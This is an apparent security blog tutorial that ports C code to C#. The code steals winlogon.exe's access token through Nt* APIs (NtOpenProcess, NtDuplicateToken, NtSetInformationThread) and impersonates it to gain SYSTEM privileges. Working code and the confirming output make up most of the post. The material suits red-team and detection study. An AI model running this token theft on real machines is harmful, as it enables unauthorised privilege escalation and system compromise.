Nt Token Theft
Intro
Grzegorz Tworek recently published some C code demonstrating how to steal and impersonate Windows tokens from a process. The standard way to do this is with the OpenProcess, OpenProcessToken, DuplicateTokenEx, and ImpersonateLoggedOnUser APIs. Grzegorz shows how to achieve the same using Nt* APIs, specifically NtOpenProcess, NtOpenProcessToken, NtDuplicateToken, and NtSetInformationThread.
Because I’m a C# junky, I ported part of his code. This post will serve as a short walkthough on how to “getsystem” by stealing and impersonating the token of a SYSTEM process. The high-level steps are:
- Obtain a handle to the target process.
- Obtain a handle to that target’s process token.
- Duplicate the target’s process token.
- Apply that duplicated token to our calling thread.
- Close all obtained handles.
NtOpenProcess
A common process to target is the Windows log-on application, winlogon.exe
.
// find a winlogon process
// there may be more than 1 if multiple users are logged on
using var winlogon = Process.GetProcessesByName("winlogon").First();
HANDLE hProcess;
var oa = new OBJECT_ATTRIBUTES();
var cid = new CLIENT_ID
{
UniqueProcess = new HANDLE((IntPtr)winlogon.Id)
};
// open handle to winlogon
NtOpenProcess(
&hProcess,
PROCESS_QUERY_LIMITED_INFORMATION,
&oa,
&cid);
NtOpenProcessToken
Use the process handle to obtain the process’ thread token.
HANDLE hToken;
// open handle to winlogon's process token
NtOpenProcessToken(
hProcess,
TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
&hToken);
NtDuplicationToken
Before being able to duplicate the token, create a new SECURITY_QUALITY_OF_SERVICE
struct.
var qos = new SECURITY_QUALITY_OF_SERVICE
{
Length = (uint)Marshal.SizeOf<SECURITY_QUALITY_OF_SERVICE>(),
ImpersonationLevel = SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
ContextTrackingMode = 1, // SECURITY_DYNAMIC_TRACKING
EffectiveOnly = false
};
And a new OBJECT_ATTRIBUTES
struct which points to SECURITY_QUALITY_OF_SERVICE
.
oa = new OBJECT_ATTRIBUTES
{
Length = (uint)Marshal.SizeOf<OBJECT_ATTRIBUTES>(),
SecurityQualityOfService = &qos
};
Now duplicate the token.
HANDLE hDupToken;
NtDuplicateToken(
hToken,
MAXIMUM_ALLOWED,
&oa,
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
TOKEN_TYPE.TokenImpersonation,
&hDupToken);
NtSetInformationThread
Once the token has been duplicated, apply it to our own process’ thread. Note that -2
or 0xfffffffffffffffe
is a pseudo-handle.
var hCallingThread = new HANDLE((IntPtr)(-2));
// set current thread
NtSetInformationThread(
hCallingThread,
THREAD_INFORMATION_CLASS.ThreadImpersonationToken,
&hDupToken,
(uint)Marshal.SizeOf<HANDLE>());
GetTokenInformation
We can go a step further to validate that the token was applied by calling NtOpenThreadToken
on our own process to obtain a handle to its thread token. This can be passed to GetTokenInformation
, specifying the TokenUser
information class. This will return a TOKEN_USER
structure which contains a pointer to the SID of the token’s user.
HANDLE hThreadToken;
NtOpenThreadToken(
hCallingThread,
TOKEN_QUERY,
false,
&hThreadToken);
uint returnLength;
GetTokenInformation(
hThreadToken,
TOKEN_INFORMATION_CLASS.TokenUser,
null,
0,
&returnLength);
// allocate buffer
var buffer = Marshal.AllocHGlobal((int)returnLength);
GetTokenInformation(
hThreadToken,
TOKEN_INFORMATION_CLASS.TokenUser,
buffer.ToPointer(),
returnLength,
&returnLength);
// read token user
var lpTokenUser = (TOKEN_USER*)buffer.ToPointer();
// translate to nt account
var identity = new SecurityIdentifier((IntPtr)lpTokenUser->User.Sid.Value)
.Translate(typeof(NTAccount));
// free buffer
Marshal.FreeHGlobal(buffer);
Console.WriteLine($"Thread token: {identity.Value}");
This prints:
Thread token: NT AUTHORITY\SYSTEM
Cleaup
Just close handles.
NtClose(hProcess);
NtClose(hToken);
NtClose(hDupToken);
Conclusion
Grzegorz goes into a little more detail by calling NtAdjustPrivilegesToken
to ensure that certain privileges are enabled within the current process. I skipped over this step because I assume they’re already enabled by default when running in a high-integrity process. I certainly encourage you to read Grzegorz’s original code: https://github.com/gtworek/PSBits/blob/master/Misc/TokenStealWithSyscalls.c.
All of the methods, structs, and enum’s etc used within this post can be found on my GitBook, pinvoke.dev.